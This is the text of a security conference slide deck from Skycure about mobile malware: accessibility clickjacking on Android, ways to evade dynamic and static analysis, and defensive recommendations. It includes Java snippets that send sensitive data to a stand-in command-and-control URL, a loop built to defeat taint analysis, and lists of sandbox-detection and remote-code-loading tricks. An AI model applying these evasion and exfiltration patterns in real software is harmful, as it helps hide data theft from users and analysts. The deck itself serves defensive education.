The Ultimate Reason Why Hackers Are Winning The Mobile Malware Battle

Yair Amit
CTO & Co-Founder
Skycure
Meet The Speaker

Yair Amit
CTO, Co-Founder
Skycure

20+ Patents

Skycure
IBM
watchfire
IDF 8200

OWASP
Open Web Application Security Project
Agenda

• Evolution of mobile malware
• Accessibility Clickjacking: circumventing app sandboxing
• Evading current malware detection techniques
• Recommendations & summary
MOBILE MALWARE EVOLUTION
Malware Evolution

How Hackers Took Down a Power Grid

Ukraine was an easy target—but the U.S. has its own weaknesses.
Mobile Malware Evolution

• Motivation:
  – What you do, where you go, what you say, 24/7

• Challenges of mobile malware attackers:
  – Apple's App-Store and Google Play screening process
  – Acquiring privileges requires unnatural end-user flows

WHAT ATTACKERS ARE DOING?
XcodeGhost

• Compiler Malware:
  – Malicious development environment
  – Legitimate apps packed with malicious code
  – Malware version enters AppStore with developers’ credentials
YiSpecter

• Jailbroken and non-jailbroken devices

• Distribution:
  – Out of AppStore
  – Aggressive

• Apple’s private APIs
Evolution of Android Malware

2011
Google Play is riddled with malware

Google introduces technologies such as “Bouncer” and “Verify Apps”

2016
3rd party stores are riddled with malware
CIRCUMVENTING APP SANDBOXING (WITHOUT RELYING ON ROOTING)
App Sandboxing

Without App Sandbox

- All user data
- Unrestricted access
- All system resources
- Your app

With App Sandbox

- Other user data
- No access
- Other system resources
- Your app

Your sandbox

Unrestricted access

Source: developer.apple.com
Security Implications of Accessibility Features

• Accessibility frameworks are traditionally good candidates:
  – 2007 – Windows Vista speech recognition exploit
  – 2013 – Siri allows to bypass iPhone lock screen
  – 2014 – Siri Lets Anyone Bypass Your iPhone's Lockscreen -- Feature or Bug?
  – 2015 – iOS 9 allows access to photos and contacts on a passcode locked iPhone

• Android Accessibility Framework
  ✓ Has full access to content in other apps (e.g. read emails)
  ✓ Ability to monitor user activity and take actions accordingly
Would You Fall For This?
ACCESSIBILITY CLICKJACKING
A Few Benign Features

• **Draw Over Apps**
  – Can be presented on top of other apps
    • `SYSTEM_ALERT_WINDOW`
  – Can be used to pass touch events to underlying apps
    • `FLAG_NOT_FOCUSABLE`
• **Accessibility APIs**
... Can Be Dangerous Together

Victims can be tricked to perform actions without their knowledge

https://youtu.be/4cSRq7_Z26s
What About Lollipop?

- Original technique was believed to end till KitKat
- Lollipop introduced an extra protection
  - Tap propagation was not allowed for the "OK" button. A direct tap is required.
- That is not enough…
MALWARE ANALYSIS TECHNIQUES AND WHY THEY FAIL
Signature-Based Analysis
Dynamic Analysis

Automated User Identification techniques:
• Network activity
• Debugging
• Instrumentation
• Etc.
Evading Dynamic Analysis

• Make sure the malicious code is not executed during the analysis
• Examples:
  – Time bombs
    • Location bombs, IP bombs, etc.
  – Action-based bombs
  – Sandbox detection
    • Is the contact list full and “real”?  
      – Same for meetings, emails, accounts, etc.
    • Am I running in a VM?
  – Victim detection
    • Targeted attacks
Static Analysis: The Automated Code Auditor

Static analysis unpacks the app and analyses its code & resources.
String data = getSensitiveData();

String data = getSensitiveData();
String deviceName =

// ... String data2 = "DeviceName=" + deviceName + 
"SensitveData=" + data;

// ...
data2 = ........................................ + data;

// ...
PostRequest("http://www.remote.cnc/data.php", data2);
PostRequest("http://www.remote.cnc/data.php", data2);

Source – a method returning sensitive data

Sink - a method leaking out data
Taint Analysis: Trade-Off Challenge

Sources:

Sinks:
Evading Static Analysis

• Exploiting the Static Analysis FP/FN tradeoff
  – Arrays, files, etc.

```java
String data = getSensitiveData();
String data2 = "";
for (int i=0; i<data.length(); i++) {
    if (data.charAt(i) == 'a')
        data2 += 'a';
    if (data.charAt(i) == 'b')
        data2 += 'b';
    ...
}
PostRequest("http://www.remote.cnc/data.php", data2);
```
Evading Static Analysis

• Exploiting the Static Analysis FP/FN tradeoff
  – Arrays, files, etc.

• Dynamic code
  – Reflection
  – Remote server
    • Malicious code is never made available by a pure static analyzer
      – Dynamically load an APK from the server
      – Hybrid apps - HTML & JavaScript (also applicable for iOS)
How to detect malicious behavior, if it does not happen?
App Repackaging

- Decode
- Patch
- Rebuild
- Sign

Patched app loads code from remote server
LIVE DEMO
What about the CNC Server?

Can it be blacklisted?

Analyzer

Get code to execute

Naive code returned

Malicious code

Malicious code

Malicious code

Malicious code
So What Can Defenders Do?

• **Change the paradigm:**
  – Analyzing an app by itself is clearly not enough
  – Model other elements in the attack flow
  – Utilize analysis of similar apps on other devices

• **Crowd-wisdom intelligence:**
  – Compare app traits to all millions of apps that have been seen before
  – Identify anomalies
  – Track new legitimate and malicious apps
    • without relying only on classic analysis approaches
Recommendations

• If possible, download apps only from official stores
• Educate employees on the threats,
as you would for other forms of computer-security threats
  – Review the permissions requested by each app before installation
• Upgrade your device OS to the latest version
• Install a Mobile Threat Defense solution
Q&A And Next Steps

contact@skycure.com

https://www.skycure.com

https://blog.skycure.com

https://maps.skycure.com

@YairAmit, @SkycureSecurity

/Skycure